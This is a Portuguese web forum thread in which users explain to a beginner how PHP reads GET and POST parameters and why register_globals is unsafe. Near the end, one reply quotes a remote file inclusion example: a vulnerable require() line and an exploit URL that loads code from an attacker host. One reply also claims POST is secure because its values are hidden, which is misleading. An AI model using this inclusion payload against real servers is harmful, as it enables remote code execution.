usar o get/post

[pedrosalg]

Boas gentes,

Desculpem lá a ignorancia...

Estive a ler em alguns tutoriais e fiquei com a ideia que em php para ler parametros passados por get ou post bastava usar uma variavel com o mesmo nome do que era passado. Ex. index.php?nome=pedro , bastava usar a variavel $nome e tinhamos o que era passado.

No entanto pus-me a experimentar e não consegui dessa forma, só consegui recorrendo a $nome=$_GET["nome"];

Será que fui eu que li mal, ou há algum motivo para isso acontecer (ou melhor, não acontecer!! 😄 )

Obrigadao!

[teckV]

Estive a ler em alguns tutoriais e fiquei com a ideia que em php para ler parametros passados por get ou post bastava usar uma variavel com o mesmo nome do que era passado. Ex. index.php?nome=pedro , bastava usar a variavel $nome e tinhamos o que era passado.

se houver um tutorial que diga isso está errado... podes postar qual é o tutorial para o ppl analizar... ou então percebeste mal... vamos então esclarecer a parte técnica...

Ex. index.php?nome=pedro , bastava usar a variavel $nome e tinhamos o que era passado.

apenas a titulo de ajuda te digo que isso está errado... tens de usar a função $_GET ou $_REQUEST para que o PHP leia os valores passados pelo método HTTP GET... o usado nas URL Strings... aconcelhote a usares o metodo post em vez do get... estuda isso porque é muito importante... passando valores assim nas URL strings fica muito facil para alguem manipular a tua aplicação criando URL strings especificas...

podes passar valores de outra forma como por exemplo em HIDDEN FIELDS em forms passados pelo metodo POST.. um exempli

<form action="something.php" method="POST">
      <input type="hidden" name="SPath" value=<? echo $ServerPath ?>>
      <input type="submit" value="Ver Respostas" >
</form>

usando a função $_POST ou $_REQUEST podes receber o campo SPath enviado pelo form atraves do campo escondido "name='SPath", usando um metodo mais seguro  "method='POST'" (os valores vão mais escondidos, não no URL visivel no browser como no GET)

	$meuValor = $_POST['SPath'];

descrição destas funções no site oficial do PHP - http://pt.php.net/manual/en/reserved.variables.php#reserved.variables.post

$_GET

Variables provided to the script via URL query string. Analogous to the old $HTTP_GET_VARS array (which is still available, but deprecated).

$_POST

Variables provided to the script via HTTP POST. Analogous to the old $HTTP_POST_VARS array (which is still available, but deprecated).

$_REQUEST

An associative array consisting of the contents of $_GET, $_POST, and $_COOKIE.

vou usar uma nota minha num tópico aqui do forum para entenderes melhore esta questão...

como sabem o $_POST recebe os valores passados pelo metodo post e só por POST... na fase de dev o código em cima recebia valor na querystring pelo metodo GET e outras vezes por POST... questões relacionadas com o fluxo de DEV...

usando o $_REQUEST temos acesso ao array de valores passados por POST, GET e tambem os COOKES

Resumo...

Se o valor for passado por GET usem o $_GET(var);

Se o valor for passado por POST usem o $_POST(var);

Para situações em que querem aceder a todos usem o $_REQUEST(var);

do topico http://www.portugal-a-programar.pt/forums/topic/0-find-topic/?do=findComment&comment=15139

teckV

house of horus... hopping for HATHOR

[pedrosalg]

Bem, como eu disse tinha ficado com aquela ideia ao ler mas poderia, como estava, ser errada. e depois estava a procura na net e baseado neste link http://www.rci.rutgers.edu/~jfulton/php1/submit.php3 não estava a conseguir chegar lá.. mas pronto a situação já está resolvida.

Já agora sabes dizer-me quais as vantagens ou desvantagens do uso ou do $_POST em relação ao $_REQUEST?

Ahh, e obrigado pela ajuda!!

[teckV]

a diferença do REQUEST em relação ao POST é com o REQUEST podes aceder às variaveis passadas por todos os métodos, incluido o os Cookies, e com o POST só acedes às variaveis passadas por post... eu pessoalmente uso o POST quase sempre porque passo as variaveis por post... mas já tive situações em que tanto podia receber por post em forms ou por URL...

resumindo... se passares por POST em Forms com o método POST usa o $_POST... é o mais aconselhado

para situações genéricas em que tanto pode vir por URL, ou pode ser um cookie ou um form pelo metodo GET ou POST usa o $_REQUESTE...

[francodacosta]

o. Ex. index.php?nome=pedro , bastava usar a variavel $nome e tinhamos o que era passado.

Isso só é possvel se activares o  register_globals  no php.ini , até ao php 4.2 ele estava activo.

Não é boa ideia activar isso!

http://pt.php.net/register_globals

[pedrotuga]

Yaps... tb ia dizer o mesmo...

So lembrar que pode ser necessario activar o register globals para correr scripts antigos, mas cuidado que isso pode abrir buracos de segurança por tudo quanto é canto.

[teckV]

o register globals foi descontinuado como implementação (ele continua mas o estado default passou de ON para OFF e é estremamente desancoselhado a sua activação... os produtos open-source têm sido rescritos para essa mudança conceptual ) por graves motivos de segurança e a meu ver, uma péssima metodologia de dev... misturar todas as variaveis numa açorda estranha...  como tál o processo a usar para o pretendido é recorrer Às funções $_POST ou $_REQUEST

foi por isso que segui esta aproximação na resposta... até pelo que sempre achei péssimo essa cena... e mesmo que ainda fosse possivel nunca apresentaria esse método... é preciso serguir-se determinadas filosofias de dev e não apenas fazer de uma forma porque é possivel...

recapitulando...

When on, register_globals will inject your scripts with all sorts of variables, like request variables from HTML forms.

existe a possibilidade em PHP de aceder a todas as variaveis, incluindo a passadas por posts (dados passados de um pedido para o outro ou de uma pagina para outra, que tambem é um pedido) se tivermos uma opção de config activada... o Register Globals... depois de um grande debate na comunidade concluiu-se que era má pratica não só por motivos de segurança mas tambem para melhor se entender o codigo.. assim... se verem codigo de outra pessoa sabem logo de onde vêm aquela variavel... pois é associada a uma função tipo o $_POST... se vos aparecer uma imensidão de variaveis sem qualquer destinção é muito dificil entender o código... e apesar de haver nomemclaturas a aplicar

o processo a usar para receber variaveis por POST´s é recorrer às funções $_POST, $_REQUEST ou $_GET

mais info:

http://pt.php.net/register_globals

teckV

[M6]

Vê isto:

http://www.faqs.org/faqs/www/cgi-faq/section-37.html

http://www.cs.tut.fi/~jkorpela/forms/methods.html

Atenção aos limites de tamanho.

[ouvi_dizer]

Para veres a diferença podes sempre fazer um print_r($_REQUEST);e print_r($_POST);

[teckV]

alguns artigos interessantes sobre QueryStrings... é uma pagina sobre ASP´s mas as questões aobre querystring são universais...

http://www.aspin.com/home/tutorial/objects/request/querystr

teckV

house of horus

[kingless]

Isto pode ajudar muito -> http://phpbrasil.com/articles/article.php/id/719

[teckV]

o problema de segurança

Exploiting register_globals in PHP: Register_globals is a PHP setting that controls the availability of "superglobal" variables in a PHP script (such as data posted from a user's form, URL-encoded data, or data from cookies). In earlier releases of PHP, register_globals was set to "on" by default, which made a developer's life easier - but this lead to less secure coding and was widely exploited. When register_globals is set to "on" in php.ini, it can allow a user to initialize several previously uninitialized variables remotely. Many a times an uninitialized parameter is used to include unwanted files from an attacker, and this could lead to the execution of arbitrary files from local/remote locations. For example:

require ($page . ".php"); Here if the $page parameter is not initialized and if register_globals is set to "on," the server will be vulnerable to remote code execution by including any arbitrary file in the $page parameter. Now let's look at the exploit code:

http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt

In this way, the file "http://www.attacker.com/attack.txt" will be included and executed on the server. It is a very simple but effective attack.

http://www.securityfocus.com/infocus/1864

~